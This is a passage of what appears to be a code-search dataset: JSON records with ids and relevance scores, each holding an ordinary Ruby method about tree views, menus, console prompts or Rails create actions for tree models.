"docid": "03eaa37e7e5d1092ff7a2a0182871983",
"score": "0.6011922",
"text": "def new\n @tree = Tree.new\n end",
"title": ""
},
{
"docid": "70f0c04259445bba1772d04522c29257",
"score": "0.59989846",
"text": "def treeview(text=\"Text Goes Here\", items=nil, height=0, width=0, listheight=0)\n tmp = Tempfile.new('dialog') \n itemlist = ''\n items.each do |item|\n itemlist << \"'\" \n itemlist << item[0].to_s\n itemlist << \"'\"\n itemlist << \" \"\n itemlist << \"'\"\n itemlist << item[1].to_s\n itemlist << \"'\"\n itemlist << \" \"\n itemlist << \"'\"\n if item[2]\n item[2] = \"on\"\n else\n item[2] = \"off\"\n end\n itemlist << item[2]\n itemlist << \"'\"\n itemlist << \" \"\n itemlist << item[3].to_s\n itemlist << \" \"\n end\n itemlist << \"2>\"\n itemlist << tmp.path\n\n cmd = \"\"\n cmd << option_string()\n cmd << \" \"\n cmd << \"--treeview\"\n cmd << \" \"\n cmd << \"'\"\n cmd << \" \"\n cmd << text\n cmd << \"'\"\n cmd << \" \"\n cmd << height.to_s\n cmd << \" \"\n cmd << width.to_s\n cmd << \" \"\n cmd << listheight.to_s\n cmd << \" \"\n cmd << itemlist\n\n log_debug \"Number of items: #{items.size}\"\n log_debug \"Command:\\n#{cmd}\"\n\n system(cmd)\n @exit_code = $?.exitstatus\n log_debug \"Exit code: #{exit_code}\"\n tag = ''\n if @exit_code != 1\n tag = tmp.read\n end\n return tag\n ensure\n tmp.close!\n end",
"title": ""
},
{
"docid": "7f63eb255ac772646153de7467d99453",
"score": "0.59296435",
"text": "def setup\n sketch_title 'Noc 8 07 Tree Stochastic'\n new_tree\nend",
"title": ""
},
{
"docid": "aa34f82add2f3a2ec259c0b9733dd298",
"score": "0.5894403",
"text": "def driver_prompt\n puts \"Enter new driver's information:\"\n new_driver = get_driver_attributes_and_create\n puts \"A new driver has been created\"\n puts \"New Driver ID: #{new_driver.id}\"\n puts \"Driver name: #{new_driver.name}\"\n seperator_and_text {press_return}\n gets.strip\n main_menu\n end",
"title": ""
},
{
"docid": "37d6f995c9a9ac4918d5fdc600ec759e",
"score": "0.5879199",
"text": "def simulate\n cli = Family::Tree::CLI.new\n\n unless ARGV[1].nil?\n begin\n commands = cli.load(ARGV[1])\n cli.run(commands)\n rescue => e\n puts \"#{e.message}\"\n end\n end\nend",
"title": ""
},
{
"docid": "263bf8048e5ba058fe6509956e51fe95",
"score": "0.5846958",
"text": "def CreateTree(_Tree, title)\n _Tree = deep_copy(_Tree)\n if !haveFancyUI\n items = []\n Builtins.foreach(_Tree) do |i|\n if Ops.get_string(i, \"parent\", \"\") == \"\"\n items = Builtins.add(\n items,\n Item(\n Id(Ops.get_string(i, \"id\", \"\")),\n Ops.get_string(i, \"title\", \"\"),\n CreateTreeInternal(_Tree, Ops.get_string(i, \"id\", \"\"))\n )\n )\n end\n end\n Builtins.y2debug(\"tree items: %1\", items)\n\n ReplaceCustomHelp(\n VBox(\n term(:Tree, Id(:wizardTree), Opt(:notify, :vstretch), title, items),\n VSpacing(1)\n )\n )\n end\n\n nil\n end",
"title": ""
},
{
"docid": "768edda3e86bea34a2562a91e214b76d",
"score": "0.5840106",
"text": "def menu_tree mt, pm = self\n mt.each_pair { |ch, code| \n if code.is_a? RubyCurses::MenuTree\n item = pm.add(ch, code.value, \"\") \n current = PromptMenu.new @caller, code.value\n item.action = current\n menu_tree code, current\n else\n item = pm.add(ch, code.to_s, \"\", code) \n end\n }\n end",
"title": ""
},
{
"docid": "0f0d8ee5c639ea5efc3a4db6ac840c7e",
"score": "0.5803189",
"text": "def create_node(parent, type, content)\n iter = if parent\n model.append(parent)\n else\n new_model = Editor.data2model(nil)\n toplevel.view_new_model(new_model)\n new_model.iter_first\n end\n iter.type, iter.content = type, content\n expand_collapse(parent) if parent\n iter\n end",
"title": ""
},
{
"docid": "0421e572cda3fb9d0cf12464c6bf5517",
"score": "0.5794667",
"text": "def initialize(parent = nil, activate = false, params = {})\n @parent = parent\n @children = []\n\n @id = params[:id] || (@@id += 1)\n @name = params[:name] || \"unnamed\"\n @prompt = params[:prompt] || (\"%s %s> \" % [@name, @id.to_s()])\n @noinput = params[:noinput] || false\n @times_out = params[:times_out] || false\n\n @callback = nil\n @history = RingBuffer.new(@@history_size)\n @typed_history = []\n @closed = false\n @pending = false\n\n @to_parent = false\n @to_ancestors = false\n @to_children = false\n @to_descendants = false\n\n if(@parent)\n @parent._add_child(self)\n end\n\n if(@@active.nil? || activate)\n self.activate()\n end\n\n if(params[:quiet] != true)\n target = @parent ? @parent : self\n target.with({:to_descendants => true, :to_ancestors => true}) do\n target.puts(\"New window created: %s\" % @id.to_s())\n end\n end\n\n @@windows[@id.to_s()] = self\n end",
"title": ""
},
{
"docid": "a44cceebf9c582972574f252f1024349",
"score": "0.5783214",
"text": "def treeview(text=\"Text Goes Here\", items=nil, height=0, width=0, listheight=0)\n tmp = Tempfile.new('dialog') \n items.map!{|item| item.map{|i| i.inspect}}.join(' ')\n cmd = [ option_string(), '--treeview',\n text.inspect, height, width, listheight, items,\n '2>', tmp.path.inspect ].join(' ')\n log_debug \"Number of items: #{items.size}\"\n run(cmd)\n tag = ''\n if @exit_code == 0\n tag = tmp.read\n end\n tmp.close!\n return tag\n end",
"title": ""
},
{
"docid": "84723105ddb015e91a78ef9b25bbcc30",
"score": "0.5763645",
"text": "def vehicle_prompt\n puts \"Enter new vehicle's information:\"\n vehicle_new = get_vehicle_attributes_and_create\n puts \"A new vehicle has been added to the garage\"\n puts \"New Vehicle ID: #{vehicle_new.id}\"\n seperator_and_text {press_return}\n gets.strip\n main_menu\n end",
"title": ""
},
{
"docid": "3b0c80ef14bb3fbf5c813105a0976d6f",
"score": "0.5741472",
"text": "def show_tree(tree)\n Tree.new(tree).show \n end",
"title": ""
},
{
"docid": "2d82f33c9e6a7b4cfec88063d750c819",
"score": "0.5739967",
"text": "def menu_tree mt, pm = self\n mt.each_pair { |ch, code| \n if code.is_a? Canis::MenuTree\n item = pm.add(ch, code.value, \"\") \n current = PromptMenu.new @caller, code.value\n item.action = current\n menu_tree code, current\n else\n item = pm.add(ch, code.to_s, \"\", code) \n end\n }\n end",
"title": ""
},
{
"docid": "5bdbfee05839ad53640117d59b7404a5",
"score": "0.5713925",
"text": "def tree\n @tree ||= TTY::Tree.new(build_tree)\n end",
"title": ""
},
{
"docid": "1ec6bc58978a9abd4d91d1d912631562",
"score": "0.56991196",
"text": "def tree; end",
"title": ""
},
{
"docid": "1ec6bc58978a9abd4d91d1d912631562",
"score": "0.56991196",
"text": "def tree; end",
"title": ""
},
{
"docid": "cf0ce9a78eb6930b0dd620051137d5cf",
"score": "0.56956065",
"text": "def learn_new_thang\n puts 'I give up... You be one sneaky beezy. What were you thinking of?'\n new_answer = gets.chomp\n puts \"Help me out here... Ask me a question I can use to discern between '#{new_answer}' and everything else.\"\n new_question = gets.chomp\n puts \"If I ask you '#{new_question}', and you're thinking of '#{new_answer}', what is you're answer? (Y/N)\"\n distinction = gets.chomp\n puts \"Holy $#!&*, looks like I learned something new today!!!\\nI now know what '#{new_answer}' is!\"\n distinction =~ /Y|y/ ?\n NodeQuestion.new(new_question, NodeAnswer.new(new_answer), EmptyKT.new) :\n NodeQuestion.new(new_question, EmptyKT.new, NodeAnswer.new(new_answer))\n end",
"title": ""
},
{
"docid": "4c6ae70fef96d6a33dd2b2e52becec2f",
"score": "0.56906456",
"text": "def populate_menu \n\t\tputs \"Lets edit your menu!\"\n\t\tnew_item = Entree.new\n\t\tkeep_populating = true\n\t\twhile keep_populating\n\t\t\tputs \"CURRENT MENU:\\n\\n\"\n\t\t\tself.entree_data.each do |i|\n\t\t\t\tputs i.name\n\t\t\t\tputs i.description\n\t\t\t\tputs i.price\n\t\t\tend\n\t\t\tputs \"Enter item\"\n\t\t\tnew_item.name = gets.chomp\n\t\t\tputs \"Enter description\"\n\t\t\tnew_item.description = gets.chomp\n\t\t\tputs \"Whats the price\"\n\t\t\tnew_item.price = gets.chomp.to_f\n\t\t\tputs \"Choose a category for this item: (0 = appetizer, 1 = entree, 2 = desserts, 3 = drinks)\"\n\t\t\tnew_item.category = gets.chomp\n\t\t\tself.add_item(new_item)\n\t\t\t\tputs \"Add another item y/n\"\n\t\t\t\tanswer = gets.chomp\n\t\t\t\tif answer == \"n\"\n\t\t\t\t\tkeep_populating = false\n\t\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "0e0f9dcc2d7930c2e1db5907e7f28444",
"score": "0.56899095",
"text": "def create\n @qbl_tree = QblTree.new(params[:qbl_tree])\n\n respond_to do |format|\n if @qbl_tree.save\n format.html { redirect_to @qbl_tree, notice: 'Qbl tree was successfully created.' }\n format.json { render json: @qbl_tree, status: :created, location: @qbl_tree }\n else\n format.html { render action: \"new\" }\n format.json { render json: @qbl_tree.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3f882ea5304f206537feac21737d8f1c",
"score": "0.56683856",
"text": "def create\n @tree = Tree.new(params[:tree])\n \n respond_to do |format|\n if @tree.save\n flash[:notice] = 'Tree was successfully created.'\n format.html { redirect_to(@tree) }\n format.xml { render :xml => @tree, :status => :created, :location => @tree }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tree.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "48de5e2d3bfb7f179928e032e2b49be4",
"score": "0.56596035",
"text": "def create_user\n name = $prompt.ask('What is your name?', default: \"artist_name\")\n puts \"Welcome #{name}!\"\n @new_artist = Artist.create(name: name, bio: \"bio here\")\n # binding.pry\nend",
"title": ""
},
{
"docid": "ba3d1b912200e12ca130fb59327f2de3",
"score": "0.56575483",
"text": "def create\n ask_user \"Would you like to create: \\n \", \"|v|Voter\\n |p|Polititian\\n\"\n if @choice == 'p'\n polititian = Voter.new\n polititian.create_polititian\n polititian.confirm\n\n system 'clear'\n World.menu\n else\n\n voter = Voter.new\n voter.create_voter\n voter.confirm\n system 'clear'\n World.menu\n end\nend",
"title": ""
},
{
"docid": "fe606eeb9fc1eca5d9d77d238ffb6b67",
"score": "0.565333",
"text": "def create\n @tree = Tree.new(tree_params)\n @tree.user_id = current_user.id #created by\n\n respond_to do |format|\n if @tree.save\n format.html { redirect_to @tree, notice: 'Tree was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tree }\n else\n format.html { render action: 'new' }\n format.json { render json: @tree.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "37dae63196af43781e2e2944bee97c5c",
"score": "0.5635798",
"text": "def create\n # XXX catch errors\n # XXX verify json response\n @tree = Tree.new(tree_params)\n\n respond_to do |format|\n if @tree.save\n # format.html { redirect_to @tree, notice: 'Tree was successfully created.' }\n format.json { render :show, status: :created, location: @tree }\n else\n # format.html { render :new }\n format.json { render json: @tree.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "862d6f3a8a2c6ba7defeafe2c8cb362f",
"score": "0.56276083",
"text": "def tree(*args)\n function(:tree, *args)\n end",
"title": ""
},
{
"docid": "11145b94febfff77ab737a92b1434935",
"score": "0.5625673",
"text": "def create\n @tree = Tree.new(params[:tree])\n\n respond_to do |format|\n if @tree.save\n flash[:notice] = 'Tree was successfully created.'\n format.html { redirect_to(@tree) }\n format.xml { render :xml => @tree, :status => :created, :location => @tree }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tree.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c16ddeb893416c27a5f28a382e761721",
"score": "0.56252337",
"text": "def insert_new_node(item)\n if current = selection.selected\n parent = current.parent or return\n parent_parent = parent.parent\n parent_type = parent.type\n if parent_type == 'Array'\n selected_index = parent.each_with_index do |c, i|\n break i if c == current\n end\n type, content = ask_for_element(parent)\n type or return\n iter = model.insert_before(parent, current)\n iter.type, iter.content = type, content\n toplevel.display_status(\"Inserted an element to \" +\n \"'#{parent_type}' before index #{selected_index}.\")\n window.change\n else\n toplevel.display_status(\n \"Cannot insert node below '#{parent_type}'!\")\n end\n else\n toplevel.display_status(\"Append a node into the root first!\")\n end\n end",
"title": ""
},
{
"docid": "7e8fae995bf80c83eb596a71c3c5cbfe",
"score": "0.56026924",
"text": "def create\n @tree_view = TreeView.new(params[:tree_view])\n puts('helllpkpokpoj=---------------------------------------------------------------------------------------')\n puts(params[:prev_node])\n respond_to do |format|\n if @tree_view.save\n format.html { redirect_to @tree_view, notice: 'Tree view was successfully created.' }\n format.json { render json: @tree_view, status: :created, location: @tree_view }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tree_view.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5761c2299ae3a3cb00bf63d447e04fe9",
"score": "0.56002134",
"text": "def tree(treeish = 'master', paths = [])\n Tree.construct(self, treeish, paths)\n end",
"title": ""
},
{
"docid": "5761c2299ae3a3cb00bf63d447e04fe9",
"score": "0.56002134",
"text": "def tree(treeish = 'master', paths = [])\n Tree.construct(self, treeish, paths)\n end",
"title": ""
},
{
"docid": "3c85f17047c28da18a7b8d4df22a65c9",
"score": "0.5594943",
"text": "def create\n @tree = Tree.new(tree_params)\n\n respond_to do |format|\n if @tree.save\n format.html { redirect_to trees_path, notice: 'Tree was successfully created.' }\n format.json { render :show, status: :created, location: @tree }\n else\n format.html { render :new }\n format.json { render json: @tree.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "036c5c71421bd6fa2864701cb238b565",
"score": "0.5555642",
"text": "def create_client\n puts \"\\tCreate a client:\"\n puts \"Enter the following data for client:\"\n print \"Name: \"\n name = gets.chomp\n print \"Number of children: \"\n number_of_children = gets.chomp.to_i\n print \"Age: \"\n age = gets.chomp.to_i\n add_client(Client.new(name, number_of_children, age))\nend",
"title": ""
},
{
"docid": "7f2c4dd97a60e03de59b6aa5ec5a7c7f",
"score": "0.5543043",
"text": "def nested_menu\n table = terminal_table do |t|\n t.title = 'Select a number'\n t.add_row [1, 'To get more information about a specific coin']\n t.add_row [2, 'To return to the menu']\n t.style = { all_separators: true }\n end\n puts table\n enter_input_msg\n input = gets.strip.to_i\n case input\n when 1\n coin_search\n nested_menu\n when 2\n navigation\n else\n enter_valid_input_msg\n nested_menu\n end\nend",
"title": ""
},
{
"docid": "238647269c526e995207b5fe3d31a360",
"score": "0.5532848",
"text": "def create_tree\n @reader.file = @file\n @reader.convert_file\n @tree.populate_dom(parser(@reader.html))\n @render.tree, @search.tree = @tree, @tree\n end",
"title": ""
},
{
"docid": "27ece4d215638492606f95ff475d9fad",
"score": "0.5528013",
"text": "def create_node args\n self.respond_to?(\"new_\"+args[:type]) ? self.send((\"new_\"+args[:type]), args) : self.errors[\"node\"] = \"#{args[:type]} is not defined\"\n end",
"title": ""
},
{
"docid": "7fa79a6ae248b2cc90bd3f17133ffce0",
"score": "0.551218",
"text": "def root *args, &block\n return @root if args.empty?\n node = args[0]\n @asks_allow_children = args[1]\n if !node.is_a? TreeNode\n n = TreeNode.new node\n node = n\n end\n @root = node\n $log.debug \" XXX def root created root with #{node} \"\n #add node, true, &block \n instance_eval &block if block_given?\n end",
"title": ""
},
{
"docid": "ccc98070e5e83baf907f115ff038c9a8",
"score": "0.5510944",
"text": "def quick_treeview(how, what)\n QuickTreeView.new(self, how, what, parent_widget, window_id)\n end",
"title": ""
},
{
"docid": "ff90763ed5a37706daef3695a9cdd5a3",
"score": "0.551073",
"text": "def create_menu\n menu = CreateMenu.new\n choice = gets.chomp.to_i\n menu.create_method(choice)\n end",
"title": ""
},
{
"docid": "ff90763ed5a37706daef3695a9cdd5a3",
"score": "0.551073",
"text": "def create_menu\n menu = CreateMenu.new\n choice = gets.chomp.to_i\n menu.create_method(choice)\n end",
"title": ""
},
{
"docid": "b46562a3f2c48d9a5bcc026e6b1f7254",
"score": "0.5505146",
"text": "def tree(*args)\n commit(\"tree\", *args)\n end",
"title": ""
},
{
"docid": "b648b987e665248ecee6934661db5b90",
"score": "0.5504443",
"text": "def new\n @tree_view = TreeView.new\n @tree_view.parent_id = params[:prev_node]\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tree_view }\n end\n end",
"title": ""
},
{
"docid": "312fda00b0072cc9cc7b39d012265a66",
"score": "0.54983175",
"text": "def tree_select(node_info = false)\n @sb[:action] = nil if @sb\n @explorer = true\n @lastaction = \"explorer\"\n self.x_active_tree = params[:tree] if params[:tree]\n self.x_node = params[:id]\n\n assert_accordion_and_tree_privileges(x_active_tree)\n\n if node_info\n get_node_info(x_node)\n replace_right_cell(:nodetype => x_node)\n else\n replace_right_cell\n end\n end",
"title": ""
},
{
"docid": "2799359a9e98f774aa20c296fe69feed",
"score": "0.5496343",
"text": "def create_tree_node\n if tree_node\n new_node = TreeNode.new(tree_node)\n new_node.resource = self\n new_node.save!\n end\n end",
"title": ""
},
{
"docid": "3622b60dc8be0d6622a3bb0e07b42094",
"score": "0.54960513",
"text": "def create\n @tree = Tree.new(tree_params)\n\n respond_to do |format|\n if @tree.save\n format.html { redirect_to trees_path, notice: 'Árbol creado' }\n format.json { render :show, status: :created, location: @tree }\n else\n format.html { render :new }\n format.json { render json: @tree.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e885e96643bc823af00c4bb3101cbc14",
"score": "0.549449",
"text": "def create_person\n puts 'Do you want to create a student or a teacher?'\n puts 'For student press 1 and for teacher press 2'\n entry = gets.chomp\n\n case entry\n when '1'\n puts 'name: '\n name = gets.chomp\n\n puts 'age: '\n age = gets.chomp\n\n print 'Do you have parent permission?'\n permission = gets.chomp\n permission = permission.downcase == 'Y'\n\n @people << Student.new(name, age, permission)\n\n puts 'Student has been created successfully'\n when '2'\n print 'name: '\n name = gets.chomp\n\n print 'age: '\n age = gets.chomp\n\n print 'subject: '\n subject = gets.chomp\n @people << Teacher.new(name, age, subject)\n\n puts 'Teacher has been created successfully'\n\n else\n puts 'Invalid Enrty.'\n puts 'Select 1 for student and 2 for teacher'\n end\n end",
"title": ""
},
{
"docid": "7adba234e3fcb862aa967e9cb142b713",
"score": "0.5490129",
"text": "def simulate_tree_construction(t)\n @dbg.create_node(t)\n n = @adaptor.get_child_count(t)\n i = 0\n while i < n\n child = @adaptor.get_child(t, i)\n simulate_tree_construction(child)\n @dbg.add_child(t, child)\n i += 1\n end\n end",
"title": ""
},
{
"docid": "db7514bc8e6e8c572f5781d2be0fae2e",
"score": "0.54885185",
"text": "def fetch_make_model_tree\n fetch(\"makeModelTree\",\"node\")\n end",
"title": ""
},
{
"docid": "201ddf7dbdcb4ba7d5ab8a2356af26db",
"score": "0.54872715",
"text": "def generate_tree(employees)\n ceo = nil # should be a PersonTreeNode object at the end\n return ceo\nend",
"title": ""
},
{
"docid": "41c116b41d2db4153a971fc74895590d",
"score": "0.5485611",
"text": "def input\n\t\t@command = gets.to_s.strip #must strip to get rid of \\n when user hits enter\n\t\tcommandI = @command.to_i #convert input to integer to see what number they pressed\n\t\tif commandI < (@dirs.size) && commandI > 0 #many strings will convert to integer 0, therefore we cannot use 0 as a number to be used\n\t\t\tputs \"You selected #{@dirs[commandI]}\"\n\t\t\tself.open_dir(@dirs[commandI])\n\t\telsif @command == \":n\"\n\t\t\tself.create_new_dir\n\t\telsif @command == \":d\"\n\t\t\tself.delete_dir\n\t\telsif @command == \":q\"\n\t\t\treturn #quit command entered\n\t\telsif\n\t\t\tputs \"Invalid selection. Try again\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "6269600ab7c9fdcedee3cc5c7d29b6c4",
"score": "0.54747945",
"text": "def display_tree(tree_parent) # Need to work on this\nend",
"title": ""
},
{
"docid": "cbfd4df4f321881d1eb1c5f43a9eaa45",
"score": "0.5467648",
"text": "def new_input\n case @choice\n when 1\n puts `man cp`\n when 2\n puts `man mv`\n when 3\n puts `man cd`\n when 4\n main_menu\n else\n puts \"Invalid input\"\n command_menu\n end\n end",
"title": ""
},
{
"docid": "d439dab120a3b31e834fc3550fdb213e",
"score": "0.5460395",
"text": "def tree_select\n @explorer = true\n @lastaction = \"explorer\"\n self.x_active_tree = params[:tree] if params[:tree]\n self.x_node = params[:id]\n assert_accordion_and_tree_privileges(x_active_tree)\n @sb[:action] = nil\n replace_right_cell\n end",
"title": ""
},
{
"docid": "98adbc3d9b40fa007769282d99d7ccd9",
"score": "0.5455825",
"text": "def create_menu\n puts \"What would you like to create? \n (P)olitician or (V)oter\"\n create_option = gets.chomp.upcase\n case create_option\n when \"V\"\n create_voter_menu\n when \"P\"\n create_politician_menu\n else\n create_menu\n end\n main_menu\n end",
"title": ""
},
{
"docid": "0c5aa07406e343b21ed64a63136dddef",
"score": "0.5430107",
"text": "def people_creation_menu\n puts <<-END\n You have selected to create a Person.\n Which would you like to create?\n (V)oter\n (P)olitician\n END\n\n player_choice = gets.chomp.downcase\n ### Decide where to send player next ###\n case player_choice\n when \"v\"\n create_new_voter\n when \"p\"\n create_new_candidate\n else\n people_creation_menu\n end\n end",
"title": ""
},
{
"docid": "3af20cc3cd622c7f1e055a351d935538",
"score": "0.5420451",
"text": "def new_user\n system \"clear\"\n @prompt.say(\"I needz more info\")\n @user = @prompt.collect do\n key(:name).ask('ENTER YOUR NAME?')\n key(:email).ask('ENTER YOUR EMAIL?')\n end\n\n ## this was fun... saving the new creation of user allowed me to create a new\n ## user, then purchase new items without having to go back and log new user in\n @user= User.create(@user)\n main_menu()\n end",
"title": ""
},
{
"docid": "7f8029b625e755c7030249ff9f65a0c9",
"score": "0.54188824",
"text": "def create\n @orgtree = Orgtree.new(params[:orgtree])\n\n respond_to do |format|\n if @orgtree.save\n format.html { redirect_to @orgtree, notice: 'Orgtree was successfully created.' }\n format.json { render json: @orgtree, status: :created, location: @orgtree }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orgtree.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d82f136945ca8049fac8e17bb8c651c5",
"score": "0.54048616",
"text": "def entree\n puts \"\\t------ What would you like to eat? ------\\n\\n\"\n count = 0\n while count < @entrees.length do\n print \"#{count + 1}\".ljust(10) # Plus 1 so list doesn't start at 0 when displayed\n print \"#{@entrees[count][:name]}\".ljust(20).colorize(:light_blue)\n print \"Calories: #{@entrees[count][:calories]}\".ljust(20).colorize(:yellow)\n print \"$#{@entrees[count][:price]}\".ljust(20).colorize(:green)\n puts \"\\n\\n\"\n count += 1\n end\n puts \"\\t\\tWhat would you like to add?\"\n print '> '\n selection = $stdin.gets.strip.to_i\n selection -= 1\n # Check to see if item exists or user entered valid input\n selection = @entrees[selection]\n return selection\nend",
"title": ""
},
{
"docid": "50e0ced4806e036ffa4dd615aab0eed3",
"score": "0.5403004",
"text": "def append_new_node(item)\n if parent = selection.selected\n parent_type = parent.type\n case parent_type\n when 'Hash'\n key, type, content = ask_for_hash_pair(parent)\n key or return\n iter = create_node(parent, 'Key', key)\n iter = create_node(iter, type, content)\n toplevel.display_status(\n \"Added a (key, value)-pair to '#{parent_type}'.\")\n window.change\n when 'Array'\n type, content = ask_for_element(parent)\n type or return\n iter = create_node(parent, type, content)\n window.change\n toplevel.display_status(\"Appendend an element to '#{parent_type}'.\")\n else\n toplevel.display_status(\"Cannot append to '#{parent_type}'!\")\n end\n else\n type, content = ask_for_element\n type or return\n iter = create_node(nil, type, content)\n window.change\n end\n end",
"title": ""
},
{
"docid": "526fc70c57b21009de07dbcfd237570d",
"score": "0.5389741",
"text": "def create\n if CharTree.where(final_character: @final_character).empty?\n @char_tree = CharTree.new(char_tree_params)\n\n if @editable\n if @char_tree.save\n redirect_to [@character_system, @char_tree]\n else\n if @char_tree.ability_char_tree_cleanup\n flash_message :notice, \"The ability tree for this character included an ability they do not have access to and has now been deleted\"\n redirect_to [@character_system, @final_character]\n else\n render 'new'\n end\n end\n else\n redirect_to [@character_system, @final_character]\n end\n else\n redirect_to [@character_system, @final_character]\n end\n end",
"title": ""
},
{
"docid": "213335a7c2e353bd1f23eb530765ce32",
"score": "0.5386477",
"text": "def initiate\n puts \"What is your name?\".green\n name = gets.chomp\n puts \"Okay, #{name}. What is your dream job title?\".green\n title = gets.chomp.to_s\n puts \"#{randomize(\"!\")} What's the nearest major city?\".green\n location = gets.chomp.to_s\n puts \"Finally, what's your favorite programming language?\".green\n language = gets.chomp.to_s\n self.new_user(name, title, location, language)\n system \"clear\"\n self.help\n end",
"title": ""
},
{
"docid": "050faa765c1f5f90f53bcb9c45ed7e77",
"score": "0.5381257",
"text": "def new_tree(x, y)\n @forest.push(Tree.new(x, y))\n end",
"title": ""
},
{
"docid": "07fdaea09e0a37c07524b8ea24877c8a",
"score": "0.53752303",
"text": "def new_user_input\n user = UserData.new\n puts 'Please enter your name'\n print '> '\n name = gets.chomp.downcase\n user.name = name\n if name.empty?\n system('clear')\n puts \"Can't have an empty user name\".colorize(:red)\n Menus.op_menu\n else\n user.gender = Prompts.gender_selection\n end\n user.age = Errors.ask('Please enter your age')\n user.height = Errors.ask('Please enter your height in cms')\n user.weight = Errors.ask('Please enter your weight in kgs')\n system('clear')\n save_user(user)\n user\n end",
"title": ""
},
{
"docid": "0e1715d65d3142c7438db40315cf3396",
"score": "0.5367436",
"text": "def make_horoscope\n system(\"clear\")\n prompt = TTY::Prompt.new\n\n puts \"Let's create a new horoscope. Enter keywords below.\".light_yellow\n # collects keywords and populates template - see instance methods in User\n puts finished_template = populate_template\n\n save_template_selection = prompt.select('Would you like to save this wisdom?'.light_blue.bold, %w(Yes No), active_color: :cyan)\n if save_template_selection == \"Yes\"\n system(\"clear\")\n mood_assignment = mood_menu\n system(\"clear\")\n Favorite.create(user_id: $current_user.id, horoscope_id: @@random_template.id, saved_horoscope: finished_template, horoscope_mood: mood_assignment)\n puts \"Very insightful, #{$current_user.name}. We've saved this to your favorites.\".light_yellow\n sleep 2\n $current_user.reload\n main_menu\n else\n system(\"clear\")\n puts \"We didn't much like that one either. Returning to the lobby.\".light_yellow\n sleep 2\n main_menu\n end\nend",
"title": ""
},
{
"docid": "e111bb0f0636811ada2273b2625cbf01",
"score": "0.53551424",
"text": "def create_directory\n puts \"Input a new student? 'YES' or 'NO'\".center(@width)\n user_input = STDIN.gets.chop.upcase\n if user_input == \"YES\"\n return true\n elsif user_input == \"NO\"\n return false\n else\n error_msg\n puts \"Did not understand input. Please input 'YES' or 'NO'\".center(@width)\n error_msg\n puts\n end\n #returns method to start again\n create_directory\nend",
"title": ""
},
{
"docid": "55a332db51a27435041b082c7ed35718",
"score": "0.535425",
"text": "def create\n puts \"Which one would you like to create?\"\n puts \"(P)olitician or (V)oter\"\n new_entry = gets.chomp.downcase\n case new_entry\n when \"p\"\n new_politician\n when \"v\"\n new_voter\n else\n error\n puts\n create\n end\n end",
"title": ""
},
{
"docid": "3f51ea1f9c1d4d0dfea9549ce17dc878",
"score": "0.53469443",
"text": "def AddTreeItem(_Tree, parent, title, id)\n _Tree = deep_copy(_Tree)\n if haveFancyUI\n UI.WizardCommand(term(:AddTreeItem, parent, title, id))\n else\n _Tree = Builtins.add(\n _Tree,\n { \"parent\" => parent, \"title\" => title, \"id\" => id }\n )\n end\n deep_copy(_Tree)\n end",
"title": ""
},
{
"docid": "fed3f979548f86d45e9df6b4cbf9dd06",
"score": "0.53448796",
"text": "def new\n @tree = Tree.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tree }\n end\n end",
"title": ""
},
{
"docid": "fed3f979548f86d45e9df6b4cbf9dd06",
"score": "0.53448796",
"text": "def new\n @tree = Tree.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tree }\n end\n end",
"title": ""
},
{
"docid": "1749af8cd137016839a4ad3b1a8b6c11",
"score": "0.5338584",
"text": "def tree_select\n assert_accordion_and_tree_privileges(x_active_tree)\n params[:miq_grid_checks] = []\n @explorer = true\n @lastaction = \"explorer\"\n @sb[:action] = nil\n\n @nodetype, id = parse_nodetype_and_id(params[:id])\n record_requested = %w[Vm MiqTemplate].include?(TreeBuilder.get_model_for_prefix(@nodetype))\n\n if record_requested && !@record\n @vm = @record = identify_record(id, VmOrTemplate)\n end\n\n # Handle filtered tree nodes\n if x_active_tree.to_s =~ /_filter_tree$/ && !record_requested\n\n search_id = @nodetype == \"root\" ? 0 : id\n adv_search_build(model_from_active_tree(x_active_tree))\n session[:edit] = @edit # Set because next method will restore @edit from session\n listnav_search_selected(search_id) unless params.key?(:search_text) # Clear or set the adv search filter\n if @edit[:adv_search_applied] &&\n MiqExpression.quick_search?(@edit[:adv_search_applied][:exp]) &&\n %w[reload tree_select].include?(params[:action])\n self.x_node = params[:id]\n quick_search_show\n return\n end\n end\n\n if record_requested && @record.nil?\n unless flash_errors?\n add_flash(_(\"The entity is not available or user is not authorized to access it.\"), :error)\n end\n javascript_flash(:spinner_off => true, :activate_node => {:tree => x_active_tree.to_s, :node => x_node})\n end\n\n self.x_node = (@record.present? ? parent_folder_id(@record) : params[:id])\n replace_right_cell\n end",
"title": ""
},
{
"docid": "5b9a3ecc3c9e23081e9eb05811268ba8",
"score": "0.5334563",
